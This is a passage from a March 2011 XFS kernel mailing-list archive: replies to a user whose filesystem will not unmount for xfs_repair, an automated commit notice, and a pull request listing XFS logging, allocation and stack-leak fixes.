ALIGN(first->va_end + PAGE_SIZE, align); + addr = ALIGN(first->va_end, align); if (addr + size - 1 < addr) goto overflow; -- 1.7.4 From sandeen@sandeen.net Mon Mar 21 10:42:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2LFgl8p209508 for ; Mon, 21 Mar 2011 10:42:53 -0500 X-ASG-Debug-ID: 1300722345-1cfc00ff0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 5D40B1B59967 for ; Mon, 21 Mar 2011 08:45:45 -0700 (PDT) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with SMTP id skwKQbZ3ceereAYC for ; Mon, 21 Mar 2011 08:45:45 -0700 (PDT) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 4A15148FF015; Mon, 21 Mar 2011 10:45:45 -0500 (CDT) Message-ID: <4D8772A8.9050201@sandeen.net> Date: Mon, 21 Mar 2011 10:45:44 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: stress_buster CC: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: umount fails with device is busy Subject: Re: umount fails with device is busy References: <31199414.post@talk.nabble.com> In-Reply-To: <31199414.post@talk.nabble.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1300722346 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58553 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/21/11 5:53 AM, stress_buster wrote: > > I'm trying to run xfs_repair on my filesystem: > Firstly to unmount the fs > > Quote: > umount /myfs > umount: /myfs: device is busy > umount: /myfs: device is busy > > Quote: > lsof /dev/sda > > -show none ie nothing seems to be 'touching' the disk. > confused why its still showing device is busy > > i did a force unmount then > > Quote: > #umount -l /dev/sda that's not really enough. Checking swap is a good idea, as is looking for loopback mounted files on the fs... -Eric > but then when I try to run xfs_repair > > Quote: > xfs_repair -n /dev/sda, it > xfs_repair: /dev/sda contains a mounted and writable filesystem > > fatal error -- couldn't initialize XFS library > > lsof /dev/sda > shows nothing ie nothing seems to be 'touching' the disk. > makes me wonder whether this is a xfs issue now?? > > > Any thoughts??? > > Thanks > David > From aelder@oss.sgi.com Mon Mar 21 16:07:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,BAYES_00, J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2LL7HnH240277 for ; Mon, 21 Mar 2011 16:07:17 -0500 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p2LL7As7240135; Mon, 21 Mar 2011 16:07:10 -0500 Date: Mon, 21 Mar 2011 16:07:10 -0500 Message-Id: <201103212107.p2LL7As7240135@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-linus, updated. v2.6.37-rc4-9201-g0c9ba97 X-Git-Refname: refs/heads/for-linus X-Git-Reftype: branch X-Git-Oldrev: af24ee9ea8d532e16883251a6684dfa1be8eec29 X-Git-Newrev: 0c9ba97318fc9a905bcc1419b6966de061203a70 This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-linus has been updated discards af24ee9ea8d532e16883251a6684dfa1be8eec29 (commit) discards be715140b5c3baf8ab6708060cfab80bef279d18 (commit) discards 3a3675b7f23f83ca8c67c9c2b6edf707fd28d1ba (commit) 0c9ba97 xfs: don't name variables "panic" ecb6928 xfs: factor agf counter updates into a helper 86fa8af xfs: clean up the xfs_alloc_compute_aligned calling convention 9130090 xfs: kill support/debug.[ch] 0b932cc xfs: Convert remaining cmn_err() callers to new API 8221112 xfs: convert the quota debug prints to new API 6d4a8ec xfs: rename xfs_cmn_err_fsblock_zero() 5348778 xfs: convert xfs_fs_cmn_err to new error logging API af34e09 xfs: kill xfs_fs_mount_cmn_err() macro 65333b4 xfs: kill xfs_fs_repair_cmn_err() macro 6a19d93 xfs: convert xfs_cmn_err to xfs_alert_tag a0fa2b6 xfs: Convert xlog_warn to new logging interface 4f10700 xfs: Convert linux-2.6/ files to new logging interface 10e3839 xfs: introduce new logging API. eeb2036 xfs: zero proper structure size for geometry calls 20ad9ea xfs: enable delaylog by default ec3ba85 xfs: more sensible inode refcounting for ialloc 1050c71 xfs: stop using xfs_trans_iget in the RT allocator 5d15765 xfs: check if device support discard in xfs_ioc_trim() c4d0c3b xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 9681153 xfs: add lockdep annotations for the rt inodes 0d8b30a xfs: fix xfs_get_extsz_hint for a zero extent size hint 04e9945 xfs: only lock the rt bitmap inode once per allocation from af24ee9ea8d532e16883251a6684dfa1be8eec29 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 0c9ba97318fc9a905bcc1419b6966de061203a70 Author: Alex Elder Date: Fri Mar 11 12:39:51 2011 +0000 xfs: don't name variables "panic" The new xfs_alert_tag() used a variable named "panic", and that is to be avoided. Rename it. Signed-off-by: Alex Elder Reviewed-by: Dave Chinner commit ecb6928fcf969b302929f109e175981df1dba697 Author: Christoph Hellwig Date: Fri Mar 4 12:59:55 2011 +0000 xfs: factor agf counter updates into a helper Updating the AGF and transactions counters is duplicated between allocating and freeing extents. Factor the code into a common helper. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 86fa8af69d8e90b7b40b8dab84d168527143ae20 Author: Christoph Hellwig Date: Fri Mar 4 12:59:54 2011 +0000 xfs: clean up the xfs_alloc_compute_aligned calling convention Pass a xfs_alloc_arg structure to xfs_alloc_compute_aligned and derive the alignment and minlen paramters from it. This cleans up the existing callers, and we'll need even more information from the xfs_alloc_arg in subsequent patches. Based on a patch from Dave Chinner. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 9130090b5f04f7e7bc29b944e0b1ba494fff3f98 Author: Dave Chinner Date: Mon Mar 7 10:09:35 2011 +1100 xfs: kill support/debug.[ch] The remaining functionality in debug.[ch] is effectively just assert handling, conditional debug definitions and hex dumping. The hex dumping and assert function can be moved into the new printk module, while the rest can be moved into top-level header files. This allows fs/xfs/support/debug.[ch] to be completely removed from the codebase. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 0b932cccbdc09a72aa370456a59b40ecd6b10baf Author: Dave Chinner Date: Mon Mar 7 10:08:35 2011 +1100 xfs: Convert remaining cmn_err() callers to new API Once converted, kill the remainder of the cmn_err() interface. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 8221112b4377a3b69f2016b5cc3c550d51dd3139 Author: Dave Chinner Date: Mon Mar 7 10:07:35 2011 +1100 xfs: convert the quota debug prints to new API Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 6d4a8ecb344bddbbb8c71deb4dcea0be6955cfc3 Author: Dave Chinner Date: Mon Mar 7 10:06:35 2011 +1100 xfs: rename xfs_cmn_err_fsblock_zero() The "cmn_err" part of the function name is no longer relevant. Rename the function to xfs_alert_fsblock_zero() to match the new logging API. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 5348778699bba92bf28b79863e09e7181d8cf95c Author: Dave Chinner Date: Mon Mar 7 10:05:35 2011 +1100 xfs: convert xfs_fs_cmn_err to new error logging API Continue to clean up the error logging code by converting all the callers of xfs_fs_cmn_err() to the new API. Once done, remove the unused old API function. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit af34e09da42801c97f39f768c715f5511d914b52 Author: Dave Chinner Date: Mon Mar 7 10:04:35 2011 +1100 xfs: kill xfs_fs_mount_cmn_err() macro The xfs_fs_mount_cmn_err() hides a simple check as to whether the mount path should output an error or not. Remove the macro and open code the check. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 65333b4c3d46909872796321d15f179cb0e32028 Author: Dave Chinner Date: Mon Mar 7 10:03:35 2011 +1100 xfs: kill xfs_fs_repair_cmn_err() macro In certain cases of inode corruption, the xfs_fs_repair_cmn_err() macro is used to output an extra message in the corruption report. That extra message is "unmount and run xfs_repair", which really applies to any corruption report. Each case that this macro is called (except one) a following call to xfs_corruption_error() is made to optionally dump more information about the error. Hence, move the output of "run xfs_repair" to xfs_corruption_error() so that it is output on all corruption reports. Also, convert the callers of the repair macro that don't call xfs_corruption_error() to call it, hence provide consiÑ•tent error reporting for all cases where xfs_fs_repair_cmn_err() used to be called. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 6a19d9393a5402e69fc52f5da8a828b8499a8265 Author: Dave Chinner Date: Mon Mar 7 10:02:35 2011 +1100 xfs: convert xfs_cmn_err to xfs_alert_tag Continue the conversion of the old cmn_err interface be converting all the conditional panic tag errors to xfs_alert_tag() and then removing xfs_cmn_err(). Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit a0fa2b679ecd15b4bdbb46cd2420b6affde91cf9 Author: Dave Chinner Date: Mon Mar 7 10:01:35 2011 +1100 xfs: Convert xlog_warn to new logging interface Convert the xfs log operations to use the new error logging interfaces. This removes the xlog_{warn,panic} wrappers and makes almost all errors emit the device they belong to instead of just refering to "XFS". Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 4f10700a2e4bb2ff3d3a80f08412e21109e6d4b5 Author: Dave Chinner Date: Mon Mar 7 10:00:35 2011 +1100 xfs: Convert linux-2.6/ files to new logging interface Convert the files in fs/xfs/linux-2.6/ to use the new xfs_ logging format that replaces the old Irix inherited cmn_err() interfaces. While there, also convert naked printk calls to use the relevant xfs logging function to standardise output format. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 10e38391c0e242e53e30094f6c00553418ab2f2e Author: Dave Chinner Date: Wed Mar 2 14:20:59 2011 +1100 xfs: introduce new logging API. Most of the logging infrastructure in XFS is unneccessary and designed around the infrastructure supplied by Irix rather than Linux. To rationalise the logging interfaces, start by introducing simple printk wrappers similar to the dev_printk() infrastructure. Later patches will convert code to use this new interface. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit eeb2036b8a148629b762ae6d85cff0be8106f081 Author: Alex Elder Date: Tue Mar 1 17:50:00 2011 +0000 xfs: zero proper structure size for geometry calls Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to xfs_fs_geometry() in order to avoid passing kernel stack data back to user space: + memset(geo, 0, sizeof(*geo)); Unfortunately, one of the callers of that function passes the address of a smaller data type, cast to fit the type that xfs_fs_geometry() requires. As a result, this can happen: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 Call Trace: [] ? panic+0x50/0x150 [] ? __stack_chk_fail+0x10/0x18 [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] Fix this by fixing that one caller to pass the right type and then copy out the subset it is interested in. Note: This patch is an alternative to one originally proposed by Eric Sandeen. Reported-by: Jeffrey Hundstad Signed-off-by: Alex Elder Reviewed-by: Eric Sandeen Tested-by: Jeffrey Hundstad commit 20ad9ea9becd34a3c16252ca9d815f2c74f8f30f Author: Christoph Hellwig Date: Sun Feb 13 12:06:34 2011 +0000 xfs: enable delaylog by default Signed-off-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Alex Elder commit ec3ba85f4083d10e32fe58b46db02d78ef71f6b8 Author: Christoph Hellwig Date: Sun Feb 13 13:26:42 2011 +0000 xfs: more sensible inode refcounting for ialloc Currently we return iodes from xfs_ialloc with just a single reference held. But we need two references, as one is dropped during transaction commit and the second needs to be transfered to the VFS. Change xfs_ialloc to use xfs_iget plus xfs_trans_ijoin_ref to grab two references to the inode, and remove the now superflous IHOLD calls from all callers. This also greatly simplifies the error handling in xfs_create and also allow to remove xfs_trans_iget as no other callers are left. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 1050c71e2925ab0cb025e4c89e08b15529a1ee36 Author: Christoph Hellwig Date: Sun Feb 13 13:25:31 2011 +0000 xfs: stop using xfs_trans_iget in the RT allocator During mount we establish references to the RT inodes, which we keep for the lifetime of the filesystem. Instead of using xfs_trans_iget to grab additional references when adding RT inodes to transactions use the combination of xfs_ilock and xfs_trans_ijoin_ref, which archives the same end result with less overhead. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 5d15765594eeb5d82c5630b3428ea0ac4f7d3c31 Author: Lukas Czerner Date: Tue Feb 15 17:07:36 2011 +0000 xfs: check if device support discard in xfs_ioc_trim() Right now we, are relying on the fact that when we attempt to actually do the discard, blkdev_issue_discar() returns -EOPNOTSUPP and the user is informed that the device does not support discard. However, in the case where the we do not hit any suitable free extent to trim in FITRIM code, it will finish without any error. This is very confusing, because it seems that FITRIM was successful even though the device does not actually supports discard. Solution: Check for the discard support before attempt to search for free extents. Signed-off-by: Lukas Czerner Signed-off-by: Alex Elder commit c4d0c3b097f7584772316ee4d64a09fe0e4ddfca Author: Dan Rosenberg Date: Mon Feb 14 13:45:28 2011 +0000 xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 The FSGEOMETRY_V1 ioctl (and its compat equivalent) calls out to xfs_fs_geometry() with a version number of 3. This code path does not fill in the logsunit member of the passed xfs_fsop_geom_t, leading to the leaking of four bytes of uninitialized stack data to potentially unprivileged callers. v2 switches to memset() to avoid future issues if structure members change, on suggestion of Dave Chinner. Signed-off-by: Dan Rosenberg Reviewed-by: Eugene Teo Signed-off-by: Alex Elder commit 9681153b460006923bb1e9d39b05b80ec09d6b4e Author: Christoph Hellwig Date: Tue Jan 25 09:06:21 2011 +0000 xfs: add lockdep annotations for the rt inodes The rt bitmap and summary inodes do not participate in the normal inode locking protocol. Instead the rt bitmap inode can be locked in any transaction involving rt allocations, and the both of the rt inodes can be locked at the same time. Add specific lockdep subclasses for the rt inodes to prevent lockdep from blowing up. Signed-off-by: Christoph Hellwig Signed-off-by: Alex Elder commit 0d8b30ad19bf13197cbcd786e2cd5a2ecef72e68 Author: Christoph Hellwig Date: Tue Jan 25 09:06:20 2011 +0000 xfs: fix xfs_get_extsz_hint for a zero extent size hint We can easily set the extsize flag without setting an extent size hint, or one that evaluates to zero. Historically the di_extsize field was only used when it was non-zero, but the commit "Cleanup inode extent size hint extraction" broke this. Restore the old behaviour, thus fixing xfsqa 090 with a debug kernel. Signed-off-by: Christoph Hellwig Signed-off-by: Alex Elder commit 04e99455ea5bb17ea7c2e7bb0970168efb736242 Author: Christoph Hellwig Date: Tue Jan 25 09:06:19 2011 +0000 xfs: only lock the rt bitmap inode once per allocation Currently both xfs_rtpick_extent and xfs_rtallocate_extent call xfs_trans_iget to grab and lock the rt bitmap inode, which results in a deadlock since the removal of the lock recursion counters in commit "xfs: simplify inode to transaction joining" Fix this by acquiring and locking the inode in xfs_bmap_rtalloc before calling into xfs_rtpick_extent and xfs_rtallocate_extent. Signed-off-by: Christoph Hellwig Signed-off-by: Alex Elder ----------------------------------------------------------------------- Summary of changes: fs/xfs/Makefile | 5 +- fs/xfs/linux-2.6/kmem.c | 9 +- fs/xfs/linux-2.6/xfs_aops.c | 6 +- fs/xfs/linux-2.6/xfs_buf.c | 17 ++-- fs/xfs/linux-2.6/xfs_linux.h | 23 ++++- fs/xfs/linux-2.6/xfs_message.c | 133 ++++++++++++++++++++++++ fs/xfs/linux-2.6/xfs_message.h | 38 +++++++ fs/xfs/linux-2.6/xfs_super.c | 128 +++++++++++------------- fs/xfs/linux-2.6/xfs_sync.c | 5 +- fs/xfs/linux-2.6/xfs_sysctl.c | 2 +- fs/xfs/quota/xfs_dquot.c | 48 +++++---- fs/xfs/quota/xfs_dquot_item.c | 5 +- fs/xfs/quota/xfs_qm.c | 49 ++++------ fs/xfs/quota/xfs_qm_bhv.c | 3 +- fs/xfs/quota/xfs_qm_syscalls.c | 85 ++++++++-------- fs/xfs/quota/xfs_trans_dquot.c | 5 +- fs/xfs/support/debug.c | 107 ------------------- fs/xfs/support/debug.h | 61 ----------- fs/xfs/xfs_alloc.c | 160 +++++++++++++++-------------- fs/xfs/xfs_bmap.c | 24 +++-- fs/xfs/xfs_buf_item.c | 15 ++-- fs/xfs/xfs_da_btree.c | 9 +- fs/xfs/xfs_dfrag.c | 4 +- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_node.c | 25 ++--- fs/xfs/xfs_error.c | 22 ++-- fs/xfs/xfs_error.h | 19 +--- fs/xfs/xfs_fsops.c | 6 +- fs/xfs/xfs_ialloc.c | 82 ++++++--------- fs/xfs/xfs_inode.c | 129 +++++++++++------------- fs/xfs/xfs_inode.h | 23 +++-- fs/xfs/xfs_iomap.c | 12 +- fs/xfs/xfs_log.c | 124 +++++++++++------------ fs/xfs/xfs_log_priv.h | 4 - fs/xfs/xfs_log_recover.c | 223 +++++++++++++++++++-------------------- fs/xfs/xfs_mount.c | 148 ++++++++++++++------------- fs/xfs/xfs_quota.h | 3 +- fs/xfs/xfs_rtalloc.c | 92 +++++++---------- fs/xfs/xfs_rtalloc.h | 2 +- fs/xfs/xfs_rw.c | 58 ++++------- fs/xfs/xfs_trans.h | 2 - fs/xfs/xfs_trans_ail.c | 2 +- fs/xfs/xfs_trans_buf.c | 6 +- fs/xfs/xfs_trans_inode.c | 22 ---- fs/xfs/xfs_vnodeops.c | 74 ++++--------- 45 files changed, 948 insertions(+), 1073 deletions(-) create mode 100644 fs/xfs/linux-2.6/xfs_message.c create mode 100644 fs/xfs/linux-2.6/xfs_message.h delete mode 100644 fs/xfs/support/debug.c delete mode 100644 fs/xfs/support/debug.h hooks/post-receive -- XFS development tree From aelder@sgi.com Mon Mar 21 16:24:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2LLO3QQ240842 for ; Mon, 21 Mar 2011 16:24:08 -0500 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8A4FAAC003 for ; Mon, 21 Mar 2011 14:27:02 -0700 (PDT) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p2LLEMTE031029; Mon, 21 Mar 2011 16:14:22 -0500 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p2LLELei031028; Mon, 21 Mar 2011 16:14:21 -0500 From: Alex Elder Message-Id: <201103212114.p2LLELei031028@stout.americas.sgi.com> Date: Mon, 21 Mar 2011 16:14:21 -0500 To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS update for 2.6.39-rc1 Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, akpm@linux-foundation.org User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean The following changes since commit 10effcb548c170d59ea1d2152f2ee0ad45ce4c9d: Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6 (2011-03-21 10:06:51 -0700) are available in the git repository at: git://oss.sgi.com/xfs/xfs for-linus Alex Elder (2): xfs: zero proper structure size for geometry calls xfs: don't name variables "panic" Christoph Hellwig (8): xfs: only lock the rt bitmap inode once per allocation xfs: fix xfs_get_extsz_hint for a zero extent size hint xfs: add lockdep annotations for the rt inodes xfs: stop using xfs_trans_iget in the RT allocator xfs: more sensible inode refcounting for ialloc xfs: enable delaylog by default xfs: clean up the xfs_alloc_compute_aligned calling convention xfs: factor agf counter updates into a helper Dan Rosenberg (1): xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 Dave Chinner (11): xfs: introduce new logging API. xfs: Convert linux-2.6/ files to new logging interface xfs: Convert xlog_warn to new logging interface xfs: convert xfs_cmn_err to xfs_alert_tag xfs: kill xfs_fs_repair_cmn_err() macro xfs: kill xfs_fs_mount_cmn_err() macro xfs: convert xfs_fs_cmn_err to new error logging API xfs: rename xfs_cmn_err_fsblock_zero() xfs: convert the quota debug prints to new API xfs: Convert remaining cmn_err() callers to new API xfs: kill support/debug.[ch] Lukas Czerner (1): xfs: check if device support discard in xfs_ioc_trim() .../filesystems/xfs-delayed-logging-design.txt | 7 - fs/xfs/Makefile | 5 +- fs/xfs/linux-2.6/kmem.c | 9 +- fs/xfs/linux-2.6/xfs_aops.c | 6 +- fs/xfs/linux-2.6/xfs_buf.c | 17 +- fs/xfs/linux-2.6/xfs_discard.c | 2 + fs/xfs/linux-2.6/xfs_ioctl.c | 11 +- fs/xfs/linux-2.6/xfs_linux.h | 23 ++- fs/xfs/linux-2.6/xfs_message.c | 133 ++++++++++++ fs/xfs/linux-2.6/xfs_message.h | 38 ++++ fs/xfs/linux-2.6/xfs_super.c | 128 +++++------ fs/xfs/linux-2.6/xfs_sync.c | 5 +- fs/xfs/linux-2.6/xfs_sysctl.c | 2 +- fs/xfs/quota/xfs_dquot.c | 48 +++-- fs/xfs/quota/xfs_dquot_item.c | 5 +- fs/xfs/quota/xfs_qm.c | 49 ++--- fs/xfs/quota/xfs_qm_bhv.c | 3 +- fs/xfs/quota/xfs_qm_syscalls.c | 85 ++++---- fs/xfs/quota/xfs_trans_dquot.c | 5 +- fs/xfs/support/debug.c | 107 ---------- fs/xfs/support/debug.h | 61 ------ fs/xfs/xfs_alloc.c | 160 +++++++------- fs/xfs/xfs_bmap.c | 24 ++- fs/xfs/xfs_buf_item.c | 15 +- fs/xfs/xfs_da_btree.c | 9 +- fs/xfs/xfs_dfrag.c | 4 +- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_node.c | 25 +-- fs/xfs/xfs_error.c | 22 +- fs/xfs/xfs_error.h | 19 +-- fs/xfs/xfs_fsops.c | 9 +- fs/xfs/xfs_ialloc.c | 82 +++----- fs/xfs/xfs_inode.c | 129 +++++------ fs/xfs/xfs_inode.h | 23 ++- fs/xfs/xfs_iomap.c | 12 +- fs/xfs/xfs_log.c | 124 +++++------ fs/xfs/xfs_log_priv.h | 4 - fs/xfs/xfs_log_recover.c | 223 ++++++++++---------- fs/xfs/xfs_mount.c | 148 +++++++------- fs/xfs/xfs_quota.h | 3 +- fs/xfs/xfs_rtalloc.c | 92 ++++----- fs/xfs/xfs_rtalloc.h | 2 +- fs/xfs/xfs_rw.c | 58 ++--- fs/xfs/xfs_trans.h | 2 - fs/xfs/xfs_trans_ail.c | 2 +- fs/xfs/xfs_trans_buf.c | 6 +- fs/xfs/xfs_trans_inode.c | 22 -- fs/xfs/xfs_vnodeops.c | 74 ++----- 48 files changed, 961 insertions(+), 1083 deletions(-) create mode 100644 fs/xfs/linux-2.6/xfs_message.c create mode 100644 fs/xfs/linux-2.6/xfs_message.h delete mode 100644 fs/xfs/support/debug.c delete mode 100644 fs/xfs/support/debug.h From david@fromorbit.com Tue Mar 22 00:11:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2M5B8bN261076 for ; Tue, 22 Mar 2011 00:11:13 -0500 X-ASG-Debug-ID: 1300770835-7a7e035f0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8D33714A6BCE for ; Mon, 21 Mar 2011 22:13:56 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id O5LENJN8b6cQfAoi for ; Mon, 21 Mar 2011 22:13:56 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am0EAMvLh015LK5JgWdsb2JhbAClQxUBARYmJYhNuhINhVYE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Mar 2011 15:43:55 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q1tuj-0003ym-Ld; Tue, 22 Mar 2011 16:13:53 +1100 Date: Tue, 22 Mar 2011 16:13:53 +1100 From: Dave Chinner To: stress_buster Cc: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: umount fails with device is busy Subject: Re: umount fails with device is busy Message-ID: <20110322051353.GA15270@dastard> References: <31199414.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <31199414.post@talk.nabble.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300770847 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58608 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 21, 2011 at 03:53:04AM -0700, stress_buster wrote: > > I'm trying to run xfs_repair on my filesystem: Why do you need to do this? > Firstly to unmount the fs > > Quote: > umount /myfs > umount: /myfs: device is busy > umount: /myfs: device is busy > > Quote: > lsof /dev/sda > > -show none ie nothing seems to be 'touching' the disk. > confused why its still showing device is busy Did you have an oops or a filesystem shutdown? i.e. anything in syslog of note? Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 03:45:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2M8iu9Q007512 for ; Tue, 22 Mar 2011 03:45:07 -0500 X-ASG-Debug-ID: 1300783676-183b03930000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7BDB613EBFBC for ; Tue, 22 Mar 2011 01:47:56 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id uOpBi85dk9UbZbR7 for ; Tue, 22 Mar 2011 01:47:56 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q1xFr-0003sN-Ey; Tue, 22 Mar 2011 08:47:55 +0000 Date: Tue, 22 Mar 2011 04:47:55 -0400 From: Christoph Hellwig To: Alexander Beregalov Cc: 